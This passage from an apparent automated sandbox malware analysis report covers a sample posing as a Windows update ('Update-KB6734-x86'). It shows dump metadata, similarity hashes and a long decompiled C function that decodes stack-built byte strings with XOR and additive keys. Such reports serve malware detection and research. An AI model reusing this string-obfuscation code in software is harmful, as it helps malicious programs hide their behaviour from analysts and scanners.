t, xrefs: 0041C839
c, xrefs: 0041CA3F
e, xrefs: 0041D2C2

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $#$$$$$$$$$&$&$&$&$($)$*$+$+$.$.$.$/$1$1$2$4$4$4$5$6$6$7$7$7$8$9$9$:$;$;$<$<$<$>$>$@$@$A$A$A$A$B$B$B$B$C$D$F$H$H$H$I$I$I$I$J$J$J$L$L$L$L$L$M$M$N$O$P$Q$R$R$S$S$S$S$S$S$S$T$T$T$T$W$W$W$W$X$X$Y$Z$[$[$\$^$_$_$`$`$`$`$a$a$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$f$f$g$g$g$h$h$h$h$i$i$k$l$m$n$n$n$n$n$n$n$o$o$o$p$p$q$r$r$r$s$s$t$t$t$t$t$t$u$u$v$v$w$w$w$x$x$x$y$z$|$|$~$~
API String ID: 2238633743-634024490
Opcode ID: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
Instruction ID: f457ac551960ea605d3d070b3bc85a292eac30f70a1b7871ccb60a54743c72b9
Opcode Fuzzy Hash: c92be08d96a76fab994ce35617b86bcdcaf97940d9c7a17d779db1985a21b9f6
Instruction Fuzzy Hash: B8E2982000C7C2C9D332D63C984879FBFD51BA7228F584B9DE1E95A2E2D7A98149C777

Uniqueness

Uniqueness Score: -1.00%

Function 00408BC0, Relevance: 300.7, APIs: 1, Strings: 170, Instructions: 1478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00408BC0(void* __ebx, signed int __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr* _a4) {
				signed int _v4;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				signed int _v24;
				char _v40;
				char _v44;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v352;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v456;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				void* _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char* _v544;
				char* _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char* _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				char* _v572;
				intOrPtr _v576;
				char* _v580;
				char* _v584;
				char* _v588;
				char* _v592;
				intOrPtr _v596;
				char* _v600;
				char* _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				char* _v628;
				char* _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				char* _v644;
				intOrPtr _v648;
				char* _v652;
				intOrPtr _v656;
				char* _v660;
				char* _v664;
				char* _v668;
				intOrPtr _v672;
				char* _v676;
				intOrPtr _v680;
				char* _v684;
				char* _v688;
				char* _v692;
				char* _v696;
				char* _v700;
				intOrPtr _v704;
				char* _v708;
				intOrPtr _v712;
				char* _v716;
				char* _v720;
				char* _v724;
				char* _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				char* _v744;
				char* _v748;
				char* _v752;
				char* _v756;
				char* _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				char* _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				char _v869;
				char _v870;
				char _v871;
				char _v872;
				char _v873;
				char _v874;
				char _v875;
				char _v876;
				char _v877;
				char _v878;
				char _v879;
				char _v880;
				char _v882;
				char _v883;
				char _v884;
				char _v885;
				char _v886;
				char _v887;
				char _v888;
				char _v892;
				char _v893;
				char _v894;
				char _v895;
				signed int _v896;
				void* _v904;
				intOrPtr _t1161;
				char _t1165;
				void* _t1171;
				intOrPtr _t1177;
				intOrPtr _t1178;
				void* _t1179;
				void* _t1180;
				void* _t1181;
				void* _t1182;
				void* _t1183;
				intOrPtr _t1188;
				intOrPtr _t1189;
				void* _t1190;
				void* _t1191;
				void* _t1192;
				void* _t1193;
				intOrPtr _t1195;
				void* _t1196;
				intOrPtr _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1201;
				void* _t1202;
				void* _t1203;
				intOrPtr _t1204;
				void* _t1205;
				void* _t1208;
				void* _t1209;
				void* _t1210;
				void* _t1214;
				void* _t1218;
				intOrPtr _t1220;
				intOrPtr _t1221;
				void* _t1222;
				void* _t1223;
				void* _t1224;
				intOrPtr _t1226;
				intOrPtr _t1232;
				void* _t1233;
				void* _t1234;
				intOrPtr _t1235;
				void* _t1236;
				void* _t1237;
				void* _t1238;
				void* _t1239;
				intOrPtr _t1241;
				void* _t1242;
				void* _t1247;
				intOrPtr _t1250;
				intOrPtr _t1251;
				void* _t1252;
				void* _t1253;
				intOrPtr _t1256;
				void* _t1260;
				signed int _t1264;
				void* _t1265;
				void* _t1269;
				intOrPtr _t1270;
				intOrPtr _t1273;
				intOrPtr* _t1281;
				intOrPtr _t1315;
				void* _t1364;
				signed int _t1399;
				void* _t1474;
				intOrPtr _t1487;
				intOrPtr* _t1489;
				intOrPtr* _t1491;
				intOrPtr* _t1492;
				intOrPtr _t1493;
				signed int _t1494;
				intOrPtr* _t1496;
				intOrPtr _t1498;
				intOrPtr _t1499;
				void* _t1500;
				void* _t1503;
				void* _t1504;
				void* _t1505;
				void* _t1506;
				void* _t1507;
				void* _t1508;
				void* _t1510;
				void* _t1511;
				void* _t1512;
				void* _t1513;
				void* _t1514;

				_t1316 = __ecx;
				_push(0xffffffff);
				_push(E0042D2A8);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t1499;
				_t1500 = _t1499 - 0x374;
				_t1161 =  *0x4310d8; // 0xa9302559
				_t1496 = _a4;
				_v16 = _t1161;
				_v896 = __ecx;
				if(_t1496 != 0) {
					_push(__edi);
					_t1474 = E00425500(_t1496, 0x40);
					_t1500 = _t1500 + 8;
					if(_t1474 != 0) {
						if(_t1474 - _t1496 > 0x20) {
							goto L3;
						}
						_t1489 = E00425420(_t1316, _t1474, 0x2e);
						_t1500 = _t1500 + 8;
						if(_t1489 == 0) {
							L8:
							_t1165 = 0;
							L100:
							L101:
							L102:
							 *[fs:0x0] = _v12;
							return E00424873(_t1165, _v16);
						}
						_v20 = 0xf;
						_v24 = 0;
						_v40 = 0;
						_t7 = _t1489 + 1; // 0x1
						_v4 = 0;
						E00407D30(_t7);
						if(E00407560( &_v48) != 0) {
							_t1281 = _t1489;
							_t1491 = _t1489 - 1;
							if(_t1491 < _t1474) {
								L14:
								_v896 = 1;
								_t1492 = _t1496;
								if(_t1496 == _t1474) {
									L22:
									_v448 = 0x81;
									_v447 = 0xb0;
									_v446 = 0xce;
									_v445 = 0x2f;
									_v444 = 0x62;
									_v443 = 0;
									_v532 = 0xf1;
									_v531 = 0xbf;
									_v530 = 0xa1;
									_v529 = 0x45;
									_v528 = 0xde;
									_v527 = 0;
									_t1171 = 0;
									do {
										 *((char*)(_t1500 + _t1171 + 0x1d0)) =  *((intOrPtr*)(_t1500 + _t1171 + 0x1d0)) +  *((intOrPtr*)(_t1500 + _t1171 + 0x17c));
										_t1171 = _t1171 + 1;
									} while (_t1171 < 6);
									_push(7);
									_push( &_v152);
									_v152 = 0xcb;
									_v151 = 0x45;
									_v150 = 0x7a;
									_v149 = 0x78;
									_v148 = 0x55;
									_v147 = 0x63;
									_v146 = 0xc;
									_v532 = 0xb3;
									_v531 = 0xde;
									_v530 = 0xbf;
									_v529 = 0xcc;
									_v528 = 0xb8;
									_v527 = 0xdd;
									_v526 = 0xaf;
									_v856 = E00407370( &_v532);
									_v184 = 0x80;
									_v183 = 0xbe;
									_v182 = 0x8c;
									_v181 = 0x5a;
									_v180 = 0x99;
									_v179 = 0xba;
									_v532 = 0xba;
									_v531 = 0xf7;
									_v530 = 0x33;
									_v529 = 0xe1;
									_v528 = 0xda;
									_v527 = 0xe1;
									_v820 = E004073E0( &_v532, 6,  &_v184);
									_v116 = 0x67;
									_v115 = 0x6e;
									_v114 = 7;
									_v113 = 0xec;
									_v112 = 0xbe;
									_v111 = 0xcc;
									_v110 = 0x32;
									_v109 = 0x3f;
									_v536 = 0x3f;
									_v535 = 0x46;
									_v534 = 0xbe;
									_v533 = 0xd1;
									_v532 = 0x9c;
									_v531 = 0x77;
									_v530 = 0x1b;
									_v529 = 0x14;
									_t1177 = E004073E0( &_v536, 8,  &_v116);
									_v174 = 2;
									_v173 = 2;
									_v170 = 2;
									_push(7);
									_push( &_v176);
									_v856 = _t1177;
									_v176 = 0x28;
									_v175 = 0x1e;
									_v172 = 0x48;
									_v171 = 0xd;
									_v540 = 0xb7;
									_v539 = 0xc0;
									_v538 = 0xa9;
									_v537 = 0xc7;
									_v536 = 0xb5;
									_v535 = 0xd4;
									_v534 = 0xa6;
									_t1178 = E00407370( &_v540);
									_t1503 = _t1500 + 0x10;
									_v816 = _t1178;
									_v360 = 4;
									_v359 = 0x1a;
									_v358 = 0x1d;
									_v357 = 9;
									_v356 = 0x1a;
									_v355 = 3;
									_v354 = 0x73;
									_t1179 = 0;
									do {
										 *(_t1503 + _t1179 + 0x230) =  *(_t1503 + _t1179 + 0x230) ^ 0x00000073;
										_t1179 = _t1179 + 1;
									} while (_t1179 < 7);
									_v368 = 0x88;
									_v367 = 0x46;
									_v366 = 0x57;
									_v365 = 0xc8;
									_v364 = 0x41;
									_v363 = 3;
									_v362 = 0x4e;
									_v532 = 0xfd;
									_v531 = 0x36;
									_v530 = 0x33;
									_v529 = 0xa9;
									_v528 = 0x35;
									_v527 = 0x66;
									_v526 = 0x4e;
									_t1180 = 0;
									do {
										 *(_t1503 + _t1180 + 0x220) =  *(_t1503 + _t1180 + 0x220) ^  *(_t1503 + _t1180 + 0x17c);
										_t1180 = _t1180 + 1;
									} while (_t1180 < 7);
									_v464 = 0x25;
									_v463 = 0x6e;
									_v462 = 0x75;
									_v461 = 0x61;
									_v460 = 0xd6;
									_v532 = 0x50;
									_v531 = 0;
									_v530 = 0x1c;
									_v529 = 0x19;
									_v528 = 0xd6;
									_t1181 = 0;
									do {
										 *(_t1503 + _t1181 + 0x1c0) =  *(_t1503 + _t1181 + 0x1c0) ^  *(_t1503 + _t1181 + 0x17c);
										_t1181 = _t1181 + 1;
									} while (_t1181 < 5);
									_v360 = 0x3e;
									_v359 = 0x24;
									_v358 = 0x13;
									_v357 = 0xb8;
									_v356 = 0xa5;
									_v355 = 0xef;
									_v354 = 0xb3;
									_v532 = 0x35;
									_v531 = 0x41;
									_v530 = 0x50;
									_v529 = 0xbd;
									_v528 = 0xcd;
									_v527 = 0x76;
									_v526 = 0x4d;
									_t1182 = 0;
									do {
										 *((char*)(_t1503 + _t1182 + 0x228)) =  *((intOrPtr*)(_t1503 + _t1182 + 0x228)) +  *((intOrPtr*)(_t1503 + _t1182 + 0x17c));
										_t1182 = _t1182 + 1;
									} while (_t1182 < 7);
									_v244 = 0x21;
									_v243 = 0xb0;
									_v242 = 0x48;
									_v241 = 0x45;
									_v240 = 0x79;
									_v239 = 0xc0;
									_v238 = 0xe0;
									_v237 = 0x7f;
									_v236 = 0x3d;
									_v532 = 0x48;
									_v531 = 0xd3;
									_v530 = 0x3a;
									_v529 = 0x2a;
									_v528 = 0xa;
									_v527 = 0xaf;
									_v526 = 0x86;
									_v525 = 0xb;
									_v524 = 0x3d;
									_t1183 = 0;
									do {
										 *(_t1503 + _t1183 + 0x29c) =  *(_t1503 + _t1183 + 0x29c) ^  *(_t1503 + _t1183 + 0x17c);
										_t1183 = _t1183 + 1;
									} while (_t1183 < 9);
									_v232 = 0xfd;
									_v231 = 0xbf;
									_v230 = 0x39;
									_v229 = 0xaa;
									_v228 = 0xaa;
									_v532 = 0xaa;
									_v531 = 0xda;
									_v530 = 0x4a;
									_v529 = 0xde;
									_v528 = 0x96;
									_v844 = E004073E0( &_v532, 5,  &_v232);
									_v196 = 0xfd;
									_v195 = 0xfa;
									_v194 = 0xf2;
									_v193 = 0xc2;
									_v192 = 0x5c;
									_v191 = 0xa2;
									_v536 = 0xa2;
									_v535 = 0x24;
									_v534 = 0xb7;
									_v533 = 0x9c;
									_v532 = 0x93;
									_v531 = 0x91;
									_t1188 = E004073E0( &_v536, 6,  &_v196);
									_push(6);
									_push( &_v184);
									_v808 = _t1188;
									_v184 = 0x90;
									_v183 = 0xec;
									_v182 = 0xd;
									_v181 = 3;
									_v180 = 3;
									_v179 = 0x7d;
									_v540 = 0x60;
									_v539 = 0xc;
									_v538 = 0x63;
									_v537 = 0;
									_v536 = 0x61;
									_v535 = 0xd;
									_t1189 = E00407370( &_v540);
									_t1504 = _t1503 + 8;
									_v840 = _t1189;
									_v464 = 0x27;
									_v463 = 0x70;
									_v462 = 0x19;
									_v461 = 0x4e;
									_v460 = 0xbb;
									_v540 = 0x49;
									_v539 = 0x15;
									_v538 = 0x6e;
									_v537 = 0x3d;
									_v536 = 0xbb;
									_t1190 = 0;
									do {
										 *(_t1504 + _t1190 + 0x1c8) =  *(_t1504 + _t1190 + 0x1c8) ^  *(_t1504 + _t1190 + 0x17c);
										_t1190 = _t1190 + 1;
									} while (_t1190 < 5);
									_v392 = 6;
									_v391 = 0x34;
									_v390 = 0xa9;
									_v389 = 0x5f;
									_v388 = 3;
									_v387 = 0x7d;
									_v386 = 0x83;
									_v532 = 0x68;
									_v531 = 0x5b;
									_v530 = 0xcb;
									_v529 = 0x30;
									_v528 = 0x67;
									_v527 = 4;
									_v526 = 0x83;
									_t1191 = 0;
									do {
										 *(_t1504 + _t1191 + 0x208) =  *(_t1504 + _t1191 + 0x208) ^  *(_t1504 + _t1191 + 0x17c);
										_t1191 = _t1191 + 1;
									} while (_t1191 < 7);
									_v424 = 0xea;
									_v423 = 0xeb;
									_v422 = 0xeb;
									_v421 = 0xea;
									_v420 = 0xe1;
									_v419 = 0x84;
									_t1192 = 0;
									do {
										 *(_t1504 + _t1192 + 0x1e8) =  *(_t1504 + _t1192 + 0x1e8) ^ 0x00000084;
										_t1192 = _t1192 + 1;
									} while (_t1192 < 6);
									_v320 = 0xad;
									_v319 = 0xac;
									_v318 = 0xb1;
									_v317 = 0xa6;
									_v316 = 0xb3;
									_v315 = 0xaf;
									_v314 = 0xba;
									_v313 = 0xc3;
									_t1193 = 0;
									do {
										 *(_t1504 + _t1193 + 0x250) =  *(_t1504 + _t1193 + 0x250) ^ 0x000000c3;
										_t1193 = _t1193 + 1;
									} while (_t1193 < 8);
									_push(8);
									_push( &_v128);
									_v128 = 0x63;
									_v127 = 0xe4;
									_v126 = 0x61;
									_v125 = 0x26;
									_v124 = 0xb9;
									_v123 = 0xf7;
									_v122 = 0xbd;
									_v121 = 0xf3;
									_v532 = 0x64;
									_v531 = 0x17;
									_v530 = 0x76;
									_v529 = 0x1b;
									_v528 = 0x6b;
									_v527 = 7;
									_v526 = 0x62;
									_v525 = 0x11;
									_t1195 = E00407370( &_v532);
									_t1505 = _t1504 + 8;
									_v792 = _t1195;
									_v496 = 0x35;
									_v495 = 0x6a;
									_v494 = 0x1d;
									_v493 = 0xe8;
									_v492 = 0x88;
									_v532 = 0x46;
									_v531 = 0x1a;
									_v530 = 0x7c;
									_v529 = 0x85;
									_v528 = 0x88;
									_t1196 = 0;
									do {
										 *(_t1505 + _t1196 + 0x1a0) =  *(_t1505 + _t1196 + 0x1a0) ^  *(_t1505 + _t1196 + 0x17c);
										_t1196 = _t1196 + 1;
									} while (_t1196 < 5);
									_push(7);
									_push( &_v160);
									_v160 = 0xab;
									_v159 = 0x67;
									_v158 = 0xda;
									_v157 = 0x4a;
									_v156 = 0xa1;
									_v155 = 0xf2;
									_v154 = 0x69;
									_v532 = 0x3c;
									_v531 = 0x49;
									_v530 = 0x39;
									_v529 = 0x5d;
									_v528 = 0x3c;
									_v527 = 0x48;
									_v526 = 0x2d;
									_t1197 = E00407370( &_v532);
									_t1506 = _t1505 + 8;
									_v824 = _t1197;
									_v512 = 0x17;
									_v511 = 4;
									_v510 = 0xdd;
									_v509 = 0xdb;
									_v508 = 0x3c;
									_v532 = 0x29;
									_v531 = 0x5d;
									_v530 = 0x99;
									_v529 = 0x95;
									_v528 = 0xc4;
									_t1198 = 0;
									do {
										 *((char*)(_t1506 + _t1198 + 0x190)) =  *((intOrPtr*)(_t1506 + _t1198 + 0x190)) +  *((intOrPtr*)(_t1506 + _t1198 + 0x17c));
										_t1198 = _t1198 + 1;
									} while (_t1198 < 5);
									_v480 = 4;
									_v479 = 0x87;
									_v478 = 0xf7;
									_v477 = 0xd4;
									_v476 = 0x19;
									_v532 = 0x44;
									_v531 = 0xe1;
									_v530 = 0x98;
									_v529 = 0xbb;
									_v528 = 0x19;
									_t1199 = 0;
									do {
										 *(_t1506 + _t1199 + 0x1b0) =  *(_t1506 + _t1199 + 0x1b0) ^  *(_t1506 + _t1199 + 0x17c);
										_t1199 = _t1199 + 1;
									} while (_t1199 < 5);
									_v295 = 0x53;
									_v291 = 0x53;
									_v296 = 0x29;
									_v294 = 0xf6;
									_v293 = 0x3e;
									_v292 = 0xc8;
									_v290 = 0x8b;
									_v289 = 0xa2;
									_v532 = 0x48;
									_v531 = 0x3d;
									_v530 = 0x8f;
									_v529 = 0x51;
									_v528 = 0xa6;
									_v527 = 0x36;
									_v526 = 0xcb;
									_v525 = 0xa2;
									_t1201 = 0;
									do {
										 *(_t1506 + _t1201 + 0x268) =  *(_t1506 + _t1201 + 0x268) ^  *(_t1506 + _t1201 + 0x17c);
										_t1201 = _t1201 + 1;
									} while (_t1201 < 8);
									_v888 = 0x88;
									_v887 = 0x99;
									_v886 = 0x8e;
									_v885 = 0xea;
									_t1202 = 0;
									do {
										 *(_t1506 + _t1202 + 0x18) =  *(_t1506 + _t1202 + 0x18) ^ 0x000000ea;
										_t1202 = _t1202 + 1;
									} while (_t1202 < 4);
									_v440 = 0xd;
									_v439 = 0x1a;
									_v438 = 8;
									_v437 = 0x1c;
									_v436 = 0x2f;
									_v435 = 0x6f;
									_t1203 = 0;
									do {
										 *(_t1506 + _t1203 + 0x1d8) =  *(_t1506 + _t1203 + 0x1d8) ^ 0x0000006f;
										_t1203 = _t1203 + 1;
									} while (_t1203 < 6);
									_push(6);
									_push( &_v200);
									_v200 = 0x49;
									_v199 = 0xc5;
									_v198 = 0x38;
									_v197 = 0xa9;
									_v196 = 0x2d;
									_v195 = 0xd6;
									_v532 = 0xde;
									_v531 = 0xbd;
									_v530 = 0xdc;
									_v529 = 0xba;
									_v528 = 0xdf;
									_v527 = 0xba;
									_t1204 = E00407370( &_v532);
									_t1507 = _t1506 + 8;
									_v784 = _t1204;
									_v256 = 0x47;
									_v255 = 0x33;
									_v254 = 0x6c;
									_v253 = 7;
									_v252 = 0x66;
									_v251 = 0x81;
									_v250 = 0xfd;
									_v249 = 0xe8;
									_v248 = 0x5b;
									_v532 = 0x24;
									_v531 = 0x56;
									_v530 = 0x1e;
									_v529 = 0x73;
									_v528 = 0xf;
									_v527 = 0xe7;
									_v526 = 0x94;
									_v525 = 0x8b;
									_v524 = 0x5b;
									_t1205 = 0;
									do {
										 *(_t1507 + _t1205 + 0x290) =  *(_t1507 + _t1205 + 0x290) ^  *(_t1507 + _t1205 + 0x17c);
										_t1205 = _t1205 + 1;
									} while (_t1205 < 9);
									_v68 = 0x25;
									_v67 = 0x4b;
									_v66 = 0xfd;
									_v65 = 0x36;
									_v64 = 0x86;
									_v63 = 0xac;
									_v62 = 0x3c;
									_v61 = 0;
									_v60 = 0xc3;
									_v59 = 0x49;
									_v532 = 0x49;
									_v531 = 0x83;
									_v530 = 0x74;
									_v529 = 0x5f;
									_v528 = 0xcd;
									_v527 = 0xf4;
									_v526 = 0x42;
									_v525 = 0x93;
									_v524 = 0x24;
									_v523 = 0x46;
									_v868 = E004073E0( &_v532, 0xa,  &_v68);
									_v436 = 0xda;
									_v435 = 0x71;
									_v434 = 0x65;
									_v433 = 0x2a;
									_v432 = 0xe4;
									_v431 = 0x15;
									_v536 = 0x8e;
									_v535 = 0xf4;
									_v534 = 7;
									_v533 = 0x46;
									_v532 = 0x5c;
									_v531 = 0xeb;
									_t1208 = 0;
									do {
										 *((char*)(_t1507 + _t1208 + 0x1e0)) =  *((intOrPtr*)(_t1507 + _t1208 + 0x1e0)) +  *((intOrPtr*)(_t1507 + _t1208 + 0x17c));
										_t1208 = _t1208 + 1;
									} while (_t1208 < 6);
									_v416 = 0xe4;
									_v415 = 0xb1;
									_v414 = 0xf5;
									_v413 = 0x81;
									_v412 = 0x8f;
									_v411 = 0x5f;
									_v532 = 0x85;
									_v531 = 0xbd;
									_v530 = 0x71;
									_v529 = 0xee;
									_v528 = 0xb1;
									_v527 = 0xa1;
									_t1209 = 0;
									do {
										 *((char*)(_t1507 + _t1209 + 0x1f0)) =  *((intOrPtr*)(_t1507 + _t1209 + 0x1f0)) +  *((intOrPtr*)(_t1507 + _t1209 + 0x17c));
										_t1209 = _t1209 + 1;
									} while (_t1209 < 6);
									_v400 = 0x31;
									_v399 = 0xec;
									_v398 = 0xde;
									_v397 = 0x4b;
									_v396 = 0xe6;
									_v395 = 0x37;
									_v532 = 0x3f;
									_v531 = 0x75;
									_v530 = 0x90;
									_v529 = 0x19;
									_v528 = 0x7b;
									_v527 = 0xc9;
									_t1210 = 0;
									do {
										 *((char*)(_t1507 + _t1210 + 0x200)) =  *((intOrPtr*)(_t1507 + _t1210 + 0x200)) +  *((intOrPtr*)(_t1507 + _t1210 + 0x17c));
										_t1210 = _t1210 + 1;
									} while (_t1210 < 6);
									_v877 = 0xf0;
									_v520 = 0xf0;
									_v880 = 0x35;
									_v879 = 0x9d;
									_v878 = 0xdc;
									_v519 = 0xac;
									_v518 = 0xfa;
									_v517 = 0x45;
									_v816 = E004073E0( &_v520, 4,  &_v880);
									_v348 = 0x28;
									_v347 = 0x3b;
									_v346 = 0x2e;
									_v345 = 0x33;
									_v344 = 0x34;
									_v343 = 0x3d;
									_v342 = 0x5a;
									_t1214 = 0;
									do {
										 *(_t1507 + _t1214 + 0x238) =  *(_t1507 + _t1214 + 0x238) ^ 0x0000005a;
										_t1214 = _t1214 + 1;
									} while (_t1214 < 7);
									_v208 = 0x7a;
									_v207 = 0xb8;
									_v206 = 0x1e;
									_v205 = 0x91;
									_v204 = 0xf2;
									_v532 = 0xf2;
									_v531 = 0xe4;
									_v530 = 0x7a;
									_v529 = 0xdd;
									_v528 = 0x54;
									_v800 = E004073E0( &_v532, 5,  &_v208);
									_v508 = 0x29;
									_v507 = 0x6e;
									_v506 = 0x9e;
									_v505 = 0x34;
									_v504 = 0xd0;
									_v536 = 7;
									_v535 = 9;
									_v534 = 0xf1;
									_v533 = 0x42;
									_v532 = 0xd0;
									_t1218 = 0;
									do {
										 *(_t1507 + _t1218 + 0x198) =  *(_t1507 + _t1218 + 0x198) ^  *(_t1507 + _t1218 + 0x17c);
										_t1218 = _t1218 + 1;
									} while (_t1218 < 5);
									_v532 = 0xd0;
									_push(5);
									_push( &_v224);
									_v224 = 0xdb;
									_v223 = 0x69;
									_v222 = 0x84;
									_v221 = 0x23;
									_v220 = 3;
									_v531 = 0xfe;
									_v530 = 0x93;
									_v529 = 0xfa;
									_v528 = 0x96;
									_t1220 = E00407370( &_v532);
									_push(9);
									_push( &_v104);
									_v804 = _t1220;
									_v104 = 0x12;
									_v103 = 0xa1;
									_v102 = 0x1d;
									_v101 = 0x83;
									_v100 = 0x74;
									_v99 = 0xe9;
									_v98 = 0x5b;
									_v97 = 0x5a;
									_v96 = 0x4b;
									_v532 = 0x93;
									_v531 = 0xf1;
									_v530 = 0x94;
									_v529 = 0xe6;
									_v528 = 0x8d;
									_v527 = 0xe8;
									_v526 = 0x84;
									_v525 = 0xe1;
									_v524 = 0x98;
									_t1221 = E00407370( &_v532);
									_t1508 = _t1507 + 0x10;
									_v788 = _t1221;
									_v288 = 0xbc;
									_v287 = 0xb0;
									_v286 = 0xb1;
									_v285 = 0xab;
									_v284 = 0xbe;
									_v283 = 0xbc;
